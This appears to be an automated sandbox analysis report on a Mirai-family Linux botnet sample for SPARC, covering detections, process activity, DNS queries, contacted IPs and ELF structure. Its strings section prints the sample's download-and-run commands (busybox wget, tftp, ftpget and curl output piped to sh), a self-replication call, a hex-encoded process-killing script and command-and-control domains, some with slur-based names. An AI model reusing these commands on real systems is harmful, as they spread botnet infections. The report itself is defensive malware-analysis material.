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Linux Analysis Report
splspc.elf

Overview

General Information

Sample name:	splspc.elf
Analysis ID:	1543608
MD5:	3481cfcbe093ecea31dec9efe388f155
SHA1:	26ea65ecd758643264619f8026cc466d76e1fd96
SHA256:	e316d8093ab589c3d7e8f329d52df56ef6290371affa534a28b55e88445a9246
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543608
Start date and time:	2024-10-28 07:55:00 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	splspc.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/73@4/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: http:///wget.sh

Runtime Messages

Command:	/tmp/splspc.elf
PID:	5410
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

splspc.elf (PID: 5410, Parent: 5336, MD5: 7dc1c0e23cd5e102bb12e5c29403410e) Arguments: /tmp/splspc.elf

splspc.elf New Fork (PID: 5412, Parent: 5410)

splspc.elf New Fork (PID: 5414, Parent: 5412)

splspc.elf New Fork (PID: 5415, Parent: 5412)

splspc.elf New Fork (PID: 5418, Parent: 5412)

cleanup

String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Source: splspc.elf	ReversingLabs: Detection: 42%
Source: splspc.elf	Virustotal: Detection: 46%			Perma Link

Source: unknown	TCP traffic detected without corresponding DNS query: 20.250.251.164
Source: unknown	TCP traffic detected without corresponding DNS query: 20.250.251.164
Source: unknown	TCP traffic detected without corresponding DNS query: 70.140.50.78
Source: unknown	TCP traffic detected without corresponding DNS query: 187.17.167.90
Source: unknown	TCP traffic detected without corresponding DNS query: 70.140.50.78
Source: unknown	TCP traffic detected without corresponding DNS query: 41.3.50.35
Source: unknown	TCP traffic detected without corresponding DNS query: 187.17.167.90
Source: unknown	TCP traffic detected without corresponding DNS query: 59.42.39.80
Source: unknown	TCP traffic detected without corresponding DNS query: 41.3.50.35
Source: unknown	TCP traffic detected without corresponding DNS query: 18.25.8.160
Source: unknown	TCP traffic detected without corresponding DNS query: 59.42.39.80
Source: unknown	TCP traffic detected without corresponding DNS query: 152.184.125.59
Source: unknown	TCP traffic detected without corresponding DNS query: 18.25.8.160
Source: unknown	TCP traffic detected without corresponding DNS query: 117.243.166.222
Source: unknown	TCP traffic detected without corresponding DNS query: 152.184.125.59
Source: unknown	TCP traffic detected without corresponding DNS query: 129.242.231.21
Source: unknown	TCP traffic detected without corresponding DNS query: 117.243.166.222
Source: unknown	TCP traffic detected without corresponding DNS query: 96.31.185.59
Source: unknown	TCP traffic detected without corresponding DNS query: 129.242.231.21
Source: unknown	TCP traffic detected without corresponding DNS query: 206.230.17.252
Source: unknown	TCP traffic detected without corresponding DNS query: 96.31.185.59
Source: unknown	TCP traffic detected without corresponding DNS query: 16.166.203.14
Source: unknown	TCP traffic detected without corresponding DNS query: 94.9.187.116
Source: unknown	TCP traffic detected without corresponding DNS query: 206.230.17.252
Source: unknown	TCP traffic detected without corresponding DNS query: 56.35.1.50
Source: unknown	TCP traffic detected without corresponding DNS query: 16.166.203.14
Source: unknown	TCP traffic detected without corresponding DNS query: 57.238.237.14
Source: unknown	TCP traffic detected without corresponding DNS query: 96.31.185.59
Source: unknown	TCP traffic detected without corresponding DNS query: 222.3.117.218
Source: unknown	TCP traffic detected without corresponding DNS query: 94.9.187.116
Source: unknown	TCP traffic detected without corresponding DNS query: 56.35.1.50
Source: unknown	TCP traffic detected without corresponding DNS query: 88.208.50.125
Source: unknown	TCP traffic detected without corresponding DNS query: 57.238.237.14
Source: unknown	TCP traffic detected without corresponding DNS query: 16.166.203.14
Source: unknown	TCP traffic detected without corresponding DNS query: 206.230.17.252
Source: unknown	TCP traffic detected without corresponding DNS query: 162.201.35.181
Source: unknown	TCP traffic detected without corresponding DNS query: 222.3.117.218
Source: unknown	TCP traffic detected without corresponding DNS query: 120.180.76.29
Source: unknown	TCP traffic detected without corresponding DNS query: 88.208.50.125
Source: unknown	TCP traffic detected without corresponding DNS query: 56.35.1.50
Source: unknown	TCP traffic detected without corresponding DNS query: 94.9.187.116
Source: unknown	TCP traffic detected without corresponding DNS query: 174.214.34.101
Source: unknown	TCP traffic detected without corresponding DNS query: 162.201.35.181
Source: unknown	TCP traffic detected without corresponding DNS query: 170.148.193.83
Source: unknown	TCP traffic detected without corresponding DNS query: 120.180.76.29
Source: unknown	TCP traffic detected without corresponding DNS query: 222.3.117.218
Source: unknown	TCP traffic detected without corresponding DNS query: 57.238.237.14
Source: unknown	TCP traffic detected without corresponding DNS query: 107.89.73.160
Source: unknown	TCP traffic detected without corresponding DNS query: 174.214.34.101
Source: unknown	TCP traffic detected without corresponding DNS query: 202.183.131.156

Source: global traffic	DNS traffic detected: DNS query: burnthe.libre
Source: global traffic	DNS traffic detected: DNS query: netfags.geek. [malformed]
Source: global traffic	DNS traffic detected: DNS query: yellowchink.pirate

Source: splspc.elf	String found in binary or memory: http:///curl.sh
Source: splspc.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| shGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/tmp//var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5450/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5450/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5450/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5450/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5440/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5440/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5451/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5451/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5451/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5451/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5441/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5441/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5452/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5452/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5452/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5452/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5442/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5442/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5453/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5453/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5453/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5453/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5443/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5443/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5454/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5454/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5454/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5454/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5444/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5444/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5445/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5445/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5446/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5446/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5446/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5446/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5447/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5447/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5447/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5447/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5437/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5437/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5448/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5448/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5448/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5448/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5438/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5438/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5449/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5449/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5449/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5449/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5439/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5415)	File opened: /proc/5439/cmdline	Jump to behavior

Source: splspc.elf, 5410.1.0000561225baa000.0000561225c2f000.rw-.sdmp, splspc.elf, 5414.1.0000561225baa000.0000561225c2f000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sparc
Source: splspc.elf, 5410.1.0000561225baa000.0000561225c2f000.rw-.sdmp, splspc.elf, 5414.1.0000561225baa000.0000561225c2f000.rw-.sdmp	Binary or memory string: V!/etc/qemu-binfmt/sparc
Source: splspc.elf, 5410.1.00007ffdf7f9c000.00007ffdf7fbd000.rw-.sdmp, splspc.elf, 5414.1.00007ffdf7f9c000.00007ffdf7fbd000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-sparc/tmp/splspc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/splspc.elf
Source: splspc.elf, 5410.1.00007ffdf7f9c000.00007ffdf7fbd000.rw-.sdmp, splspc.elf, 5414.1.00007ffdf7f9c000.00007ffdf7fbd000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sparc

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Source	Detection	Scanner	Label	Link
splspc.elf	42%	ReversingLabs	Linux.Backdoor.Mirai
splspc.elf	46%	Virustotal		Browse

Name	IP	Active	Malicious	Reputation
yellowchink.pirate	45.156.86.24	true	true	unknown
burnthe.libre	45.156.86.24	true	true	unknown
netfags.geek. [malformed]	unknown	unknown	true	unknown

IP	Domain	Country	ASN	ASN Name	Malicious
130.17.184.141	unknown	United States	2152	CSUNET-NWUS	false
106.141.201.15	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
66.100.142.74	unknown	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
102.39.2.31	unknown	South Africa	11845	Vox-TelecomZA	false
99.12.142.60	unknown	United States	7018	ATT-INTERNET4US	false
114.210.218.138	unknown	China	9595	XEPHIONNTT-MECorporationJP	false
87.233.205.80	unknown	Netherlands	15703	TRUESERVER-ASTrueServerBVASnumberNL	false
60.38.90.19	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
99.131.115.221	unknown	United States	7018	ATT-INTERNET4US	false
99.133.130.77	unknown	United States	7018	ATT-INTERNET4US	false
134.202.154.166	unknown	Puerto Rico	61317	ASDETUKhttpwwwheficedcomGB	false
105.132.245.133	unknown	Morocco	6713	IAM-ASMA	false
9.65.65.203	unknown	United States	3356	LEVEL3US	false
185.1.23.11	unknown	Russian Federation	5778	CENTURYLINK-LEGACY-EMBARQ-RCMTUS	false
37.206.89.176	unknown	Italy	3269	ASN-IBSNAZIT	false
202.62.172.163	unknown	Japan	18126	CTCXChubuTelecommunicationsCompanyIncJP	false
93.128.104.229	unknown	Germany	6805	TDDE-ASN1DE	false
192.204.218.238	unknown	United States	2914	NTT-COMMUNICATIONS-2914US	false
146.127.79.220	unknown	United States	6501	SOUTHERNETUS	false
192.117.120.115	unknown	Israel	8551	BEZEQ-INTERNATIONAL-ASBezeqintInternetBackboneIL	false
124.78.246.139	unknown	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
74.217.16.184	unknown	United States	12181	INTERNAP-2BLKUS	false
87.213.153.4	unknown	Netherlands	13127	VERSATELASfortheTrans-EuropeanTele2IPTransportbackbo	false
103.195.142.106	unknown	Indonesia	134614	IDNIC-UNHAS-AS-IDUniversitasHasanuddinID	false
164.248.121.178	unknown	United States	5972	DNIC-ASBLK-05800-06055US	false
116.252.33.127	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
41.190.177.114	unknown	unknown	36974	AFNET-ASCI	false
209.246.239.12	unknown	United States	3356	LEVEL3US	false
197.114.121.182	unknown	Algeria	36947	ALGTEL-ASDZ	false
193.50.50.205	unknown	France	2200	FR-RENATERReseauNationaldetelecommunicationspourlaTec	false
186.57.171.149	unknown	Argentina	22927	TelefonicadeArgentinaAR	false
9.7.36.40	unknown	United States	3356	LEVEL3US	false
15.28.202.128	unknown	United States	13979	ATT-IPFRUS	false
34.244.124.126	unknown	United States	16509	AMAZON-02US	false
153.53.228.51	unknown	United States	14962	NCR-252US	false
26.197.170.154	unknown	United States	7922	COMCAST-7922US	false
182.175.103.93	unknown	China	23724	CHINANET-IDC-BJ-APIDCChinaTelecommunicationsCorporation	false
187.218.27.151	unknown	Mexico	8151	UninetSAdeCVMX	false
24.113.76.136	unknown	United States	11404	AS-WAVE-1US	false
115.194.203.187	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
105.132.245.133	65iP0qrS2t.elf	Get hash	malicious	Mirai	Browse
9.65.65.203	cYoLa8wYYU.elf	Get hash	malicious	Mirai	Browse
185.1.23.11	Hilix.x86.elf	Get hash	malicious	Mirai	Browse
202.62.172.163	vIlkRYFh3s.elf	Get hash	malicious	Mirai	Browse
146.127.79.220	sh4.elf	Get hash	malicious	Mirai	Browse
99.12.142.60	OayTT0t7Vi.elf	Get hash	malicious	Mirai	Browse
124.78.246.139	x86.elf	Get hash	malicious	Mirai	Browse
124.78.246.139	arm7.elf	Get hash	malicious	Mirai	Browse
134.202.154.166	UaRDLPU3F4.elf	Get hash	malicious	Mirai, Moobot	Browse
103.195.142.106	XmjQYnQ0Kl.elf	Get hash	malicious	Mirai	Browse
103.195.142.106	cron	Get hash	malicious	Mirai	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
burnthe.libre	splx86.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	nklmpsl.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	nklarm.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
yellowchink.pirate	jklmpsl.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	splx86.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	nklx86.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	nklmpsl.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	nklarm.elf	Get hash	malicious	Unknown	Browse	45.156.86.24

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CENTURYLINK-LEGACY-SAVVISUS	ppc.elf	Get hash	malicious	Unknown	Browse	216.207.157.204
	jklmpsl.elf	Get hash	malicious	Unknown	Browse	208.161.73.114
	arm7.elf	Get hash	malicious	Unknown	Browse	64.209.183.79
	nklppc.elf	Get hash	malicious	Unknown	Browse	208.165.4.255
	jklarm5.elf	Get hash	malicious	Unknown	Browse	206.142.197.192
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	208.133.37.247
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	209.25.19.70
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	216.88.117.25
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	208.147.97.43
	nklm68k.elf	Get hash	malicious	Unknown	Browse	64.28.82.89
CSUNET-NWUS	ppc.elf	Get hash	malicious	Unknown	Browse	207.62.134.89
	nklmips.elf	Get hash	malicious	Unknown	Browse	130.167.84.170
	m68k.elf	Get hash	malicious	Mirai	Browse	205.155.70.7
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	137.150.29.208
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	136.171.237.121
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	198.188.138.83
	HUyUkUjJ4y.elf	Get hash	malicious	Unknown	Browse	136.168.199.71
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	130.191.234.77
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	132.241.67.207
	MglAEOjknh.elf	Get hash	malicious	Okiru	Browse	165.198.139.231
Vox-TelecomZA	jklx86.elf	Get hash	malicious	Unknown	Browse	155.243.245.222
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	155.243.246.3
	botnet.x86.elf	Get hash	malicious	Mirai, Moobot	Browse	155.242.16.113
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	102.39.237.216
	w18Ys8qKuX.elf	Get hash	malicious	Unknown	Browse	102.39.2.52
	nshmpsl.elf	Get hash	malicious	Mirai	Browse	41.193.135.13
	gmips.elf	Get hash	malicious	Mirai	Browse	41.193.0.6
	nsharm7.elf	Get hash	malicious	Mirai	Browse	41.193.135.10
	garm.elf	Get hash	malicious	Mirai	Browse	41.193.135.18
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	197.245.71.191
KDDIKDDICORPORATIONJP	jklmpsl.elf	Get hash	malicious	Unknown	Browse	59.236.142.197
	splx86.elf	Get hash	malicious	Unknown	Browse	14.10.191.136
	nklarm.elf	Get hash	malicious	Unknown	Browse	182.250.25.160
	arm7.elf	Get hash	malicious	Unknown	Browse	113.155.81.207
	nklppc.elf	Get hash	malicious	Unknown	Browse	36.11.9.145
	nabm68k.elf	Get hash	malicious	Unknown	Browse	210.237.114.30
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	111.98.231.216
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	59.200.26.7
	bin.sh.elf	Get hash	malicious	Mirai	Browse	113.147.104.129
	boatnet.ppc.elf	Get hash	malicious	Mirai	Browse	111.101.16.203

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	splspc.elf	false		unknown
http:///curl.sh	splspc.elf	false		unknown

Process:	/tmp/splspc.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.1457173472246294
Encrypted:	false
SSDEEP:	6:M3g2nX6/VUV422G3j/VyY/VfKoO/VNfiY/VH:M3/rVGwwl
MD5:	01D6CAA6A41D739BB320ED0DCCDB38C9
SHA1:	C680B55F263143EDAC44B7BCFD2D1CE159D999E4
SHA-256:	BA2FF8C0747633119201C0F8BCFAE9DEFE1CBB9305EEAE5E1CF4E9D9EB79D14C
SHA-512:	88D4C2FC2A0F096070B8532C94B22AB5F9417D4838F64C63BA244CFBA105466BFDAD3F8201F5277BE48E51BFEDBEC70C60090807707C9D430B4C4BA78121F015
Malicious:	false
Reputation:	low
Preview:	10000-20000 r-xp 00000000 fd:00 531601 /tmp/..20000-21000 rw-p 00010000 fd:00 531601 /tmp/..21000-23000 rw-p 00000000 00:00 0 .23000-24000 rw-p 00000000 00:00 0 .ff7fe000-ff7ff000 ---p 00000000 00:00 0 .ff7ff000-fffff000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.044285666981814
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	splspc.elf
File size:	66'440 bytes
MD5:	3481cfcbe093ecea31dec9efe388f155
SHA1:	26ea65ecd758643264619f8026cc466d76e1fd96
SHA256:	e316d8093ab589c3d7e8f329d52df56ef6290371affa534a28b55e88445a9246
SHA512:	5e8db49351abba22b351eca61379c029a0c6bb699910579608d6d63bffac144114fbf4f1e1fb83d090b33e2f2769eaed4207644e4b3c285eb4bee32b63a0e35d
SSDEEP:	1536:E6/XSNLaMM/b+Lj9yImZeqF9/Kwp8EFgLlH4MLh/:EIitM7Vewp5gJH4O
TLSH:	0E534A2179396E17C4C4787F26F74725B2E22B0E75A8C62A7E721E4FEF10640621B5F1
File Content Preview:	.ELF...........................4.........4. ...(....................... ... ...............................0........dt.Q................................@..(....@.:.................#.....a...`.....!..... ...@.....".........`......$ ... ...@...........`....

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	Sparc
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x101a4
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	66000
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10094	0x94	0x1c	0x0	0x6	AX	4
.text	PROGBITS	0x100b0	0xb0	0xe888	0x0	0x6	AX	4
.fini	PROGBITS	0x1e938	0xe938	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x1e950	0xe950	0x11d0	0x0	0x2	A	8
.ctors	PROGBITS	0x20000	0x10000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x20008	0x10008	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x20010	0x10010	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x20018	0x10018	0x174	0x0	0x3	WA	8
.bss	NOBITS	0x20190	0x1018c	0x11a0	0x0	0x3	WA	8
.shstrtab	STRTAB	0x0	0x1018c	0x43	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000	0x10000	0xfb20	0xfb20	6.1438	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x10000	0x20000	0x20000	0x18c	0x1330	0.8110	0x6	RW	0x10000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 28, 2024 07:55:48.478276968 CET	192.168.2.13	81.169.136.222	0x3f20	Standard query (0)	burnthe.libre	A (IP address)	IN (0x0001)	false
Oct 28, 2024 07:55:58.890806913 CET	192.168.2.13	152.53.15.127	0x9a7b	Standard query (0)	netfags.geek. [malformed]	256	382	false
Oct 28, 2024 07:55:58.918123960 CET	192.168.2.13	168.235.111.72	0x1f47	Standard query (0)	burnthe.libre	A (IP address)	IN (0x0001)	false
Oct 28, 2024 07:56:06.088367939 CET	192.168.2.13	185.181.61.24	0xb577	Standard query (0)	yellowchink.pirate	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 28, 2024 07:55:48.506285906 CET	81.169.136.222	192.168.2.13	0x3f20	No error (0)	burnthe.libre		45.156.86.24	A (IP address)	IN (0x0001)	false
Oct 28, 2024 07:55:58.901307106 CET	152.53.15.127	192.168.2.13	0x9a7b	Format error (1)	netfags.geek. [malformed]	none	none	256	382	false
Oct 28, 2024 07:55:59.009618044 CET	168.235.111.72	192.168.2.13	0x1f47	No error (0)	burnthe.libre		45.156.86.24	A (IP address)	IN (0x0001)	false
